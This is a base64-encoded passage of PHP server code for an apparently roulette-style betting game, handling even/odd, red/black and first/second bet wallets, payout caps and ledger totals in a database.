QkJfWVsc2V7DQoJCQkJJGVvd2FsbGV0VmFsdWUgID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJGVvdGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9IDA7CQ0KCQkJCQkkdG90YWxpbmNvbWluZyA9ICR0b3RhbGluY29taW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnZXZlbnRpbGVzJyk7CQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsJCQkJCQ0KCQkJCX1lbHNlew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJCQkkdG90YWxpbmNvbWluZyA9ICR0b3RhbGluY29taW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnb2RkdGlsZXMnKTsJCQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9DQoJCQkJaWYoJHJldHVybnN0cmluZyA9PSAnZXZlbicpew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydldmVudGlsZXMnXTsNCgkJCQkJJGdlbmVvd2FsbGV0dmFsID0gJGVvd2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuZW93YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlckVvV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJJGZpbmFsZW93YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfWVsc2V7DQoJCQkJCSRlb3RpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ29kZHRpbGVzJ107DQoJCQkJCSRnZW5lb3dhbGxldHZhbCA9ICRlb3dhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJFb1dhbGxldFZhbHVlID0gcm91bmQoJGdlbmVvd2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJDQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTwkdHJhbnNmZXJFb1dhbGxldFZhbHVlKXsNCgkJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSAkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J107DQoJCQkJCX0NCgkJCQkJDQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJFb1dhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KDQoJCQkNCgkJCWlmKCRyYlN0YXR1cyA9PSAnZmFpbCcpew0KCQkJCSRyYndhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJykgPT0gJ3JlZCcpew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCQkkZ2VucmJ3YWxsZXR2YWwgPSAoJHJidGlsZXNWYWx1ZSoyKSskcmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5yYndhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVycmJXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFscmJ3YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsncmVkdGlsZXMnXSA9IDA7DQoJCQkJCSR0b3RhbG91dGdvaW5nID0gJHRvdGFsb3V0Z29pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZWR0aWxlcycpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyYndhbGxldCddID0gJGdlbnJid2FsbGV0dmFsLSRmaW5hbHJid2FsbGV0VmFsdWU7DQoJCQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHJidGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsnYmxhY2t0aWxlcyddOw0KCQkJCQkkZ2VucmJ3YWxsZXR2YWwgPSAoJHJidGlsZXNWYWx1ZSoyKSskcmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5yYndhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVycmJXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFscmJ3YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnYmxhY2t0aWxlcyddID0gMDsNCgkJCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICRnZW5yYndhbGxldHZhbC0kZmluYWxyYndhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnYmxhY2t0aWxlcycpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9DQoJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCWlmKCRyZXR1cm5jb2xvcnN0cmluZyA9PSAncmVkJyl7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsJCQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQkJDQoJCQkJfWVsc2V7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydibGFja3RpbGVzJ10gPSAkdHJhbnNmZXJyYldhbGxldFZhbHVlOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0JCQ0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCSRyYndhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJykgPT0gJ3JlZCcpew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsncmVkdGlsZXMnXSA9IDA7CQkNCgkJCQkJJHRvdGFsaW5jb21pbmcgPSAkdG90YWxpbmNvbWluZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JlZHRpbGVzJyk7CQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOwkJCQkJDQoJCQkJfWVsc2V7DQoJCQkJCSRyYnRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2JsYWNrdGlsZXMnXTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkJCSR0b3RhbGluY29taW5nID0gJHRvdGFsaW5jb21pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdibGFja3RpbGVzJyk7CQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCWlmKCRyZXR1cm5jb2xvcnN0cmluZyA9PSAncmVkJyl7DQoJCQkJCSRyYnRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ3JlZHRpbGVzJ107DQoJCQkJCSRnZW5yYndhbGxldHZhbCA9ICRyYndhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gcm91bmQoJGdlbnJid2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3JlZHRpbGVzJ10gPSAkdHJhbnNmZXJyYldhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyYndhbGxldCddID0gJGdlbnJid2FsbGV0dmFsLSRmaW5hbHJid2FsbGV0VmFsdWU7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJCSRnZW5yYndhbGxldHZhbCA9ICRyYndhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gcm91bmQoJGdlbnJid2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3Jid2FsbGV0J10gPSAkZ2VucmJ3YWxsZXR2YWwtJGZpbmFscmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KDQoJCQkNCgkJCWlmKCRodFN0YXR1cyA9PSAnZmFpbCcpew0KCQkJCSRodHdhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsnaHR3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJykgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQkJJGdlbmh0d2FsbGV0dmFsID0gKCRodHRpbGVzVmFsdWUqMikrJGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuaHR3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9ICR0cmFuc2Zlcmh0V2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxodHdhbGxldFZhbHVlID0gMDsNCgkJCQkJfQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZmlyc3R0aWxlcyddID0gMDsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ2ZpcnN0dGlsZXMnKTsJDQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfWVsc2V7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJCSRnZW5odHdhbGxldHZhbCA9ICgkaHR0aWxlc1ZhbHVlKjIpKyRodHdhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gcm91bmQoJGdlbmh0d2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQl9ZWxzZXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9IDA7DQoJCQkJCX0NCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnc2Vjb25kdGlsZXMnKTsJDQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQlpZigkcmV0dXJucGxhY2VzdHJpbmcgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCQkNCgkJCQl9ZWxzZXsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0NCgkJCQl9CQkNCgkJCQkNCgkJCX1lbHNlew0KCQkJCSRodHdhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsnaHR3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJykgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2ZpcnN0dGlsZXMnXSA9IDA7CQ0KCQkJCQkkdG90YWxpbmNvbWluZyA9ICR0b3RhbGluY29taW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnZmlyc3R0aWxlcycpOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOwkJCQkJDQoJCQkJfWVsc2V7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydzZWNvbmR0aWxlcyddID0gMDsJDQoJCQkJCSR0b3RhbGluY29taW5nID0gJHRvdGFsaW5jb21pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdzZWNvbmR0aWxlcycpOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0NCgkJCQlpZigkcmV0dXJucGxhY2VzdHJpbmcgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQkJJGdlbmh0d2FsbGV0dmFsID0gJGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuaHR3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZmlyc3R0aWxlcyddID0gJHRyYW5zZmVyaHRXYWxsZXRWYWx1ZTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnaHR3YWxsZXQnXSA9ICRnZW5odHdhbGxldHZhbC0kZmluYWxodHdhbGxldFZhbHVlOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9ZWxzZXsNCgkJCQkJJGh0dGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsnc2Vjb25kdGlsZXMnXTsNCgkJCQkJJGdlbmh0d2FsbGV0dmFsID0gJGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuaHR3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnc2Vjb25kdGlsZXMnXSA9ICR0cmFuc2Zlcmh0V2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJDQoJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCSR1cGRhdGV3YWxsZXRbJ2luY29taW5nJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2luY29taW5nJ10rJHRvdGFsaW5jb21pbmc7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gJGdldFdhbGxldHZhbHVlWydvdXRnb2luZyddKyR0b3RhbG91dGdvaW5nOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gICA9ICR1cGRhdGV3YWxsZXRbJ2luY29taW5nJ10tICR1cGRhdGV3YWxsZXRbJ291dGdvaW5nJ107DQoJCQkNCgkJCWlmKCRnZXRTZXR2YWx1ZVsnbGVkZ2VybGltaXQnXSA8ICR1cGRhdGV3YWxsZXRbJ2xlZGdlciddKXsNCgkJCSR1cGRhdGV3YWxsZXRbJ21haW5sZWRnZXInXSA9ICRnZXRXYWxsZXR2YWx1ZVsnbWFpbmxlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJ